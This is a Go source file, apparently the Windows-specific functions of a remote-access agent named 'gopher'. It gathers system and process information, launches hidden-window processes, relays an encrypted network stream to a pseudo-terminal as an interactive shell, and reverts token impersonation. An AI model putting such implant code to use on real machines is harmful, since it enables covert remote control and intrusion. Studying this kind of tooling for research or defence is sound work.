2026-04-06 00:20:51 -05:00

262 lines
5.4 KiB
Go
Executable File

//go:build windows
// +build windows
package functions
import (
"crypto/cipher"
"fmt"
"gopher/utils"
"io"
"os"
"os/exec"
"os/user"
"path/filepath"
"strconv"
"strings"
"syscall"
"unsafe"
"github.com/gabemarshall/pty"
"golang.org/x/sys/windows"
)
type OSVersionInfoEx struct {
dwOSVersionInfoSize uint32
dwMajorVersion uint32
dwMinorVersion uint32
dwBuildNumber uint32
dwPlatformId uint32
szCSDVersion [128]uint16
wServicePackMajor uint16
wServicePackMinor uint16
wSuiteMask uint16
wProductType byte
wReserved byte
}
func GetCP() (uint32, uint32) {
modkernel := syscall.NewLazyDLL("kernel32.dll")
acp, _, _ := modkernel.NewProc("GetACP").Call()
oemcp, _, _ := modkernel.NewProc("GetOEMCP").Call()
return uint32(acp), uint32(oemcp)
}
func GetOsVersion() (string, error) {
modntdll := syscall.NewLazyDLL("ntdll.dll")
procRtlGetVersion := modntdll.NewProc("RtlGetVersion")
var info OSVersionInfoEx
info.dwOSVersionInfoSize = uint32(unsafe.Sizeof(info))
ret, _, _ := procRtlGetVersion.Call(uintptr(unsafe.Pointer(&info)))
if ret != 0 {
return "", fmt.Errorf("RtlGetVersion call failed")
}
version := fmt.Sprintf("Windows %d.%d build %d", info.dwMajorVersion, info.dwMinorVersion, info.dwBuildNumber)
return version, nil
}
func IsElevated() bool {
token := windows.GetCurrentProcessToken()
return token.IsElevated()
}
func NormalizePath(relPath string) (string, error) {
if strings.HasPrefix(relPath, "~") {
usr, err := user.Current()
if err != nil {
return "", err
}
relPath = filepath.Join(usr.HomeDir, relPath[1:])
}
path, err := filepath.Abs(relPath)
if err != nil {
return "", err
}
path = filepath.Clean(path)
return path, nil
}
func buildFileInfo(info os.FileInfo, displayName string) utils.FileInfo {
return utils.FileInfo{
Mode: "",
Nlink: 0,
User: "",
Group: "",
Size: info.Size(),
Date: info.ModTime().Format("02/01/2006 15:04"),
Filename: displayName,
IsDir: info.IsDir(),
}
}
func GetListing(path string) ([]utils.FileInfo, error) {
var Files []utils.FileInfo
pathInfo, err := os.Stat(path)
if err != nil {
return Files, err
}
if !pathInfo.IsDir() {
return []utils.FileInfo{buildFileInfo(pathInfo, filepath.Base(path))}, nil
}
entries, err := os.ReadDir(path)
if err != nil {
return Files, err
}
for _, entry := range entries {
info, err := entry.Info()
if err != nil {
return Files, err
}
Files = append(Files, buildFileInfo(info, entry.Name()))
}
return Files, nil
}
/// Process
func getSessionID(pid uint32) (int, error) {
var sessionID uint32
err := windows.ProcessIdToSessionId(pid, &sessionID)
if err != nil {
return -1, err
}
return int(sessionID), nil
}
func getProcessContext(pid uint32) (string, error) {
handle, err := syscall.OpenProcess(syscall.PROCESS_QUERY_INFORMATION, false, pid)
if err != nil {
return "", err
}
defer syscall.CloseHandle(handle)
var token syscall.Token
if err = syscall.OpenProcessToken(handle, syscall.TOKEN_QUERY, &token); err != nil {
return "", err
}
defer token.Close()
var tokenUser *syscall.Tokenuser
n := uint32(50)
for {
b := make([]byte, n)
e := syscall.GetTokenInformation(token, syscall.TokenUser, &b[0], uint32(len(b)), &n)
if e == nil {
tokenUser = (*syscall.Tokenuser)(unsafe.Pointer(&b[0]))
break
}
if e != syscall.ERROR_INSUFFICIENT_BUFFER {
return "", e
}
if n <= uint32(len(b)) {
return "", e
}
}
owner, domain, _, err := tokenUser.User.Sid.LookupAccount("")
return fmt.Sprintf("%s\\%s", domain, owner), nil
}
func GetProcesses() ([]utils.PsInfo, error) {
var Processes []utils.PsInfo
handle, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0)
if err != nil {
return nil, err
}
defer syscall.CloseHandle(handle)
var entry syscall.ProcessEntry32
entry.Size = uint32(unsafe.Sizeof(entry))
if err = syscall.Process32First(handle, &entry); err != nil {
return nil, err
}
for {
end := 0
for {
if entry.ExeFile[end] == 0 {
break
}
end++
}
context, _ := getProcessContext(entry.ProcessID)
tty := ""
sessId, err := getSessionID(entry.ProcessID)
if err == nil {
tty = strconv.Itoa(int(sessId))
}
psInfo := utils.PsInfo{
Pid: int(entry.ProcessID),
Ppid: int(entry.ParentProcessID),
Context: context,
Tty: tty,
Process: syscall.UTF16ToString(entry.ExeFile[:end]),
}
Processes = append(Processes, psInfo)
err = syscall.Process32Next(handle, &entry)
if err != nil {
break
}
}
return Processes, nil
}
func ProcessSettings(cmd *exec.Cmd) {
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
}
}
func IsProcessRunning(cmd *exec.Cmd) bool {
if cmd.Process == nil {
return false
}
if cmd.ProcessState != nil && cmd.ProcessState.Exited() {
return false
}
return true
}
func StartPtyCommand(process *exec.Cmd, columns uint16, rows uint16) (any, error) {
windowSize := pty.Winsize{Rows: rows, Cols: columns}
return pty.StartWithSize(process, &windowSize)
}
func StopPty(Pipe any) error {
src := Pipe.(pty.Pty)
return src.Close()
}
func RelayConnToPty(to any, from *cipher.StreamReader) {
pipe := to.(pty.Pty)
io.Copy(pipe, from)
}
func RelayPtyToConn(to *cipher.StreamWriter, from any) {
pipe := from.(pty.Pty)
io.Copy(to, pipe)
}
func Rev2Self() {
advapi32 := syscall.NewLazyDLL("advapi32.dll")
revertToSelf := advapi32.NewProc("RevertToSelf")
revertToSelf.Call()
}